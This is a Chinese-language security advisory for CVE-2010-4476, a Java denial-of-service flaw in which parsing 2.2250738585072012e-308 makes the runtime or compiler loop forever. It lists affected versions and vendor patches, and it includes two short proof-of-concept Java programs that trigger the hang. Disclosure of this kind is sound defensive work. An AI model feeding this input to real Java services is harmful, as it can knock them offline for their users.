Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Oracle Java畸形浮点值拒绝服务漏洞

发布日期:2011-02-01
更新日期:2011-02-14受影响系统:
Apache Group Tomcat 5.0 - 7.0.6
IBM Websphere Application Server 6.1.0.27 - 6.1 .33
Sun SDK 1.3.1 - 1.4.2_24
IBM Runtimes for Java Technology 5.0
不受影响系统:
Apache Group Tomcat 7.0.8
Apache Group Tomcat 6.0.32
IBM Runtimes for Java Technology 5.0 SR12 FP 4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 46091
CVE ID: CVE-2010-4476Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。 Oracle Java在处理畸形的数值时存在漏洞,远程攻击者可利用此漏洞造成以Java编写的应用程序挂起,造成拒绝服务。在转换十进制数字2.2250738585072012e-308为双精度二进制浮点值时,Java的运行时和编辑器都进入到无限循环。此数字应转换为0x1p-1022即DBL_MIN,但是java陷入0x1p-1022和0x0.fffffffffffffp-1022之间的循环。<*来源:Konstantin Preisser
  *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Konstantin Preisser ()提供了如下测试方法:Send a Java Program Into An Infinite LoopCompile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
}
}Send the Java Compiler Into An Infinite LoopTry to compile this program; the compiler will hang:class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
}
}建议:
--------------------------------------------------------------------------------
厂商补丁:IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.ers.ibm.com/Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://sunsolve.sun.com/securityIBM Informix Dynamic Server Oninit远程代码执行漏洞Google Chrome 9.0.597.94之前的版本多个漏洞相关资讯      Oracle漏洞 
  • Oracle Database本地安全漏洞(CVE-  (07/17/2015 08:31:14)
  • Oracle Database Server远程安全漏  (01/22/2015 12:00:36)
  • Oracle Database Server Spatial组  (01/17/2014 09:17:56)
  • Oracle数据库高危漏洞警告!  (05/14/2015 18:55:23)
  • Oracle Database Server Core   (01/17/2014 09:18:22)
  • Oracle Database Server Core   (01/17/2014 09:14:25)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款